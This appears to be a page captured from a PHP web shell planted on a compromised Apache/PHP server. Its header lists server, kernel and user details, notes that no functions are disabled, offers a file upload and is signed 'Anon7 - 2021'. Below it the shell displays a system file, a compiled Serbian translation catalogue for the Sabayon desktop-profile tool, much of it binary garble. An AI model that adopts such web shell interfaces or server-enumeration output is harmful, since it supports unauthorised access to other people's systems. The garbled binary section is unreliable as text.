KGRKJGETMRETU895U-589TY5MIGM5JGB5SDFESFREWTGR54TY
Server : Apache/2.2.17 (Unix) mod_ssl/2.2.17 OpenSSL/0.9.8e-fips-rhel5 DAV/2 PHP/5.2.17
System : Linux localhost 2.6.18-419.el5 #1 SMP Fri Feb 24 22:47:42 UTC 2017 x86_64
User : nobody ( 99)
PHP Version : 5.2.17
Disable Function : NONE
Directory :  /proc/21573/task/21573/root/usr/share/locale/sr/LC_MESSAGES/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //proc/21573/task/21573/root/usr/share/locale/sr/LC_MESSAGES/sabayon.mo
\
()1I	_
i
tb!X%R~$(5Kd-&7R
dr
!.A1S%1.%Tp%!*8&9`r" "8X!x!
!bI_f$v"%+$I$n$ 
 2$S x
2
CN]n0,& 5:9Z*0F^PwL 	 & / 6 > D P V 	l v 
      /   ! 
!/!B!U!Z!z!!!!v#4~#(###
$$:$
%N(%w%;&#&7';U'$'('8':(S(m(iv(5(=)+T)&)')$)/)B$*9g*E*6**+9I+*+<++&,2,NP,2,K,(-~G-2-v-Ap.I.M.EJ/[/l/KY0<0/0/11B1t1
1B1b1z62h2P3Lk3L3Z4<`4
4'44k689O;==#=>=>%$>1J>0|>D>J>>=?`|?\?`:@B@D@G#AkANrA9A9A@5B
vB#B'BB:B>$C4cC8CCCD,D3JD)~DkDE#3E4WEsFGW G9xG*GG2G
HU'Hl}H3H&IJEI8IBI&J3J4DJ.yJ;JJKKL`L
xLL
LL0LLL
M M2M
EMSMcMxMM7M/MN<%NbNjoN?NOU!OwOOwOo$e^- y0!LCD;PYj8x*TZ:[7h{E.#pd2fguO=9<|UFWM(KSI	@
v_\J,?a'%V>~lAG
)mBq4w}]13Nzkn/Hri6&5sbQct"+RX`%s (%s)<b>Disabled Applets</b><b>Safe Protocols</b><no type><no value>About SabayonAdd ProfileAdministrator level permissions are needed to run this program because it can modify system files.Applications menuCannot add non-existent file '%s'Cannot find home directory: not set in /etc/passwd and no value for $HOME in environmentCannot find username: not set in /etc/passwd and no value for $USER in environmentChanges in profile %sClick to make this setting mandatoryClick to make this setting not mandatoryClose _Without SavingClose the current windowCould not open %s for writingDefault GConf settingsDelete itemDescriptionDesktop User Profiles tool is already runningDisable _arbitrary URLDisable _bookmark editingDisable _command lineDisable _historyDisable _javascript chromeDisable _printingDisable _quitDisable _toolbar editingDisable _unsafe protocolsDisable force _quitDisable lock _screenDisable log _outDisable print _setupDisable save to _diskEdit Lockdown settingsEdit changesEditing profile %sEnforce MandatoryEnforce mandatory settings in the editing sessionEpiphany Web BrowserEstablish and Edit Profiles for UsersExpected event: %s %sFailed to add default profile %s to configurationFailed to add monitor for %sFailed to add user %s to profile configurationFailed to get the user listFailed to read file '%s': %sFailed to read metadata from '%s': %sFailed to save UserDatabase to %sFailed to start Xnest: died during startupFailed to start Xnest: timed out waiting for USR1 signalFile %s is not a profile configurationFile '%s' changedFile '%s' createdFile '%s' deletedFile Not Found (%s)FilesGConfGConf key '%s' set to '%s'GConf key '%s' set to boolean '%s'GConf key '%s' set to float '%s'GConf key '%s' set to integer '%s'GConf key '%s' set to list '%s'GConf key '%s' set to pair '%s'GConf key '%s' set to schema '%s'GConf key '%s' set to string '%s'GConf key '%s' unsetGeneralHide _menubarIf you don't save, changes from the last %ld minute will be permanently lost.If you don't save, changes from the last %ld minutes will be permanently lost.If you don't save, changes from the last %ld second will be permanently lost.If you don't save, changes from the last %ld seconds will be permanently lost.If you don't save, changes from the last hour and %d minute will be permanently lost.If you don't save, changes from the last hour and %d minutes will be permanently lost.If you don't save, changes from the last hour will be permanently lost.If you don't save, changes from the last %d hours will be permanently lost.If you don't save, changes from the last minute and %ld second will be permanently lost.If you don't save, changes from the last minute and %ld seconds will be permanently lost.If you don't save, changes from the last minute will be permanently lost.IgnoreIgnore WARNINGsInvalid metadata section in '%s': %sLockLockdown EditorLockdown settings for %sMandatory GConf settingsMozilla bookmark changed '%s' '%s'Mozilla bookmark created '%s' -> '%s'Mozilla bookmark deleted '%s'Mozilla bookmark folder changed '%s'Mozilla bookmark folder created '%s'Mozilla bookmark folder deleted '%s'Mozilla key '%s' changed to '%s'Mozilla key '%s' set to '%s'Mozilla key '%s' unsetNameNo profile for user '%s' found
No query filter specified for %sNo result attribute specified for %sNo search based specified for %sPanelPanel '%s' addedPanel '%s' removedPanel FilePanel applet '%s' addedPanel applet '%s' removedPanel object '%s' addedPanel object '%s' removedPreferences menuProfile %sProfile _name:Profile file: %sProfile is read-only %sProfile settings: %sProgram to establish and edit profiles for usersRunning %s testsRunning %s tests (%s)Sabayon requires a special user account '%s' to be present on this computer. Try again after creating the account (using, for example, the 'adduser' command)Save changes to profile "%s" before closing?Save profileScope must be one of sub, base and oneServer Settings menuStart Here menuSuccess!System Settings menuTypeUnable to find a free X displayUsage: %s <profile-name> <profile-path> <display-number>
Usage: %s [<profile-name>]
Use This ProfileUse this profile for _all usersUser Profile EditorUser account '%s' was not foundUsers for profile %sValueWeb browser bookmarksWeb browser preferencesWeb browser profile listYou may not use Desktop User Profiles tool from within a profile editing sessionYour account does not have permissions to run the Desktop User Profiles tool_About_Base on:_Changes_Close_Delete_Edit_Fullscreen_Help_Lock down the panels_Lockdown_Profile_Profiles:_Quit_Save_Users_Users:booleanduplicate name(%(name)s) in section %(section)sfloatintegerinvalid type for setting %s in %slistmultiple_result must be one of first and randomno default profilepairredundant default in section %sschemastringtranslator-creditsProject-Id-Version: Sabayon-2.12.1
Report-Msgid-Bugs-To: 
POT-Creation-Date: 2005-12-27 14:59+0100
PO-Revision-Date: 2005-12-29 20:25+0100
Last-Translator: Слободан Д. Средојевић <ssl@uns.ns.ac.yu>
Language-Team: Serbian (sr) <gnom@prevod.org>
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
Plural-Forms: nplurals=3;    plural=n%10==1 && n%100!=11 ? 0 :    n%10>=2 && n%10<=4 && (n%100<10 || n%100>=20) ? 1 : 2;
%s (%s)<b>Недозвољени програмчићи</b><b>Сигурни протоколи</b><без типа><без вредности>О СабајонуДодај поставкуПотребне су дозволе на административном нивоу за покретање овог програма јер он може да мења системске датотеке.Програмски мениНе могу да додам непостојећу датотеку „%s“Не могу да пронађем лични директоријум: није наведен у датотеци /etc/passwd а променљива окружења $HOME не постојиНе могу да пронађем корисничко име: није наведено у датотеци /etc/passwd а променљива окружења $USER не постојиИзмене у поставци %sОво подешавање је обавезујућеОво подешавање није обавезујућеЗатвори без снимањаЗатвори текући прозорНе могу да отворим %s ради уписаПодразумевана Гконф подешавањаУклони ставкуОписАлат за израду поставки за радну површину је већ покренутОнемогући п_роизвољну адресуОнемогући уређивање о_бележивачаИскључи линију _наредбиОнемогући _историјатОнемогући јаваскриптОнемогући ш_тампањеОнемогући _завршетак радаОнемогући преслагање палете а_латкиОнемогући не_сигурне протоколеОнемогући насилно прекидање програмаОнемогући закључавање екранаОнемогући одјављив_ањеОнемогући подешавање шта_мпачаОнемогући упис на _дискУреди ограничавајућа подешавањаПрегледај изменеУређивање поставке %sНаметни обавезуНаметни обавезна подешавања при уређивањуВеб прегледник „Спознаја“Образује и уређује поставке за корисникеОчекивани догађај: %s %sНе могу да додам подразумевану поставку %s у датотеку са подешавањимаНе могу да додам надзор за %sНе могу да додам корисника %s у датотеку са подешавањима поставкиНе могу да добијем списак корисникаНисам успео да прочитам датотеку „%s“: %sНе могу да учитам описне податке са „%s“: %sНе могу да сачувам базу корисника на %sНе могу да покренем Xnest: прекид приликом покретањаНе могу да покренем Xnest: истекло је време чекајући USR1 сигнал%s није датотека са подешавањима поставкиДатотека „%s“ је доживела изменуДатотека „%s“ је створенаДатотека „%s“ је обрисанаДатотека није пронађена (%s)ДатотекеГконфГконф кључ „%s“ је постављен на „%s“Гконф кључ „%s“ је постављен на логичку вредност „%s“Гконф кључ „%s“ је постављен на вредност са покретним зарезом „%s“Гконф кључ „%s“ је постављен на целобројну вредност „%s“Гконф кључ „%s“ добија вредност списка „%s“Гконф кључ „%s“ добија вредност пара „%s“Гконф кључ „%s“ добија вредност шеме „%s“Гконф кључ „%s“ је постављен на знаковни низ „%s“Поништи постављање Гконф кључа %sОпштеСакриј линију _менијаУколико их не сачувате, измене за протекли %ld минут биће трајно изгубљене.Уколико их не сачувате, измене за протекла %ld минута биће трајно изгубљене.Уколико их не сачувате, измене за протеклих %ld минута биће трајно изгубљене.Уколико их не сачувате, измене за протеклу %ld секунду биће трајно изгубљене.Уколико их не сачувате, измене за протекле %ld секунде биће трајно изгубљене.Уколико их не сачувате, измене за протеклих  %ld секунди биће трајно изгубљене.Уколико их не сачувате, измене за протекли сат и %d минут биће трајно изгубљене.Уколико их не сачувате, измене за протекли сат и %d минута биће трајно изгубљене.Уколико их не сачувате, измене за протекли сат и %d минута биће трајно изгубљене.Уколико их не сачувате, измене за протекли %d сат биће трајно изгубљене.Уколико их не сачувате, измене за протекла %d сата биће трајно изгубљене.Уколико их не сачувате, измене за протеклих %d сати биће трајно изгубљене.Уколико их не сачувате, измене за протекли минут и %ld секунду биће трајно изгубљене.Уколико их не сачувате, измене за протекли минут и %ld секунде биће трајно изгубљене.Уколико их не сачувате, измене за протекли минут и %ld секунди биће трајно изгубљене.Уколико их не сачувате, измене у последњем минуту биће трајно изгубљене.ЗанемариЗанемари упозорењаНеисправни описни одељак у „%s“: %sЗакључајУређивач ограничењаПодешавање ограничења за %sОбавезна Гконф подешавањаИзмењен Мозилиа обележивач „%s“ „%s“Мозила обележивач је створен „%s“ -> „%s“Мозила обележивач „%s“ је уклоњенМозилина фасцикла са обележивачима „%s“ је измењенаФасцикла са Мозила обележивачима је створена „%s“Мозилина фасцикла са обележивачима „%s“ је уклоњенаМозила кључ „%s“ је промењен на „%s“Мозила кључ „%s“ је постављен на „%s“Мозила кључ „%s“ поново није постављенИмеНије пронађена поставка за корисника „%s“
Није наведен упитни филтер за %sНије задана крајња особина за %sНије наведена база за претрагу за %sПанелПанел „%s“ је додатПанел „%s“ је уклоњенПанел датотекаПрограмче панела „%s“ је додатоПрограмче панела „%s“ је уклоњеноОбјекат панела „%s“ је додатОбјекат панела „%s“ је уклоњенМени подешавањаПоставка %s_Име поставке:Датотека са поставком: %sПоставка је само за читање %sПодешавања поставке: %sПрограм за успостављање и уређивање поставки за корисникеПокрећем %s пробеПокрећем %s пробе (%s)Сабајон захтева да један посебан кориснички налог „%s“ буде присутан на овом рачунару. Покушајте поново након што направите тај налог (користећи рецимо наредбу „adduser“Да ли желите да сачувате измене за поставку „%s“ пре затварања?Сачувај поставкуДомет мора бити један од под, основних или једанМени за подешавања послужитељаМени „Крените одавде“Успех!Мени системских подешавањаВрстаНе могу да пронађем ниједан слободан Икс екранУпотреба: %s <име поставке> <путања до поставке> <број екрана>
Коришћење: %s [<име поставке>]
Користи ову поставкуИскористи ову поставку за _све корисникеУређивач корисничких поставкиКориснички налог „%s“ није пронађенКорисници поставке %sВредностОбележивачи веб прегледникаПоставке веб прегледникаСписак поставки веб прегледникаНе би требало да користите алат за израду поставки за корисничку радну површунутар већ истог покренутог.Ваш налог нема дозволе за покретање алата за израду поставки за корисничку радну површину_О програмуЗас_нован на:_Измене_Затвори_Уклони_УређивањеПри_каз преко целог екрана_Помоћ_Привежи панелеЗа_вежиПо_ставка_Поставке:_Заврши_Сачувај_Корисници:_Корисници:логичка вредностдупло име(%(name)s) у одељку %(section)sброј са покретним зарезомцео бројнеисправн тип за постављање %s у %sсписаквишеструки резултат мора бити један од првих или случајнине постоји подразумевана поставкапарВишеструке подразумеване вредности у одељку %sшемазнаковни низСлободан Д. Средојевић <ssl@uns.ns.ac.yu>

Prevod.org — превод на српски језик.

Anon7 - 2021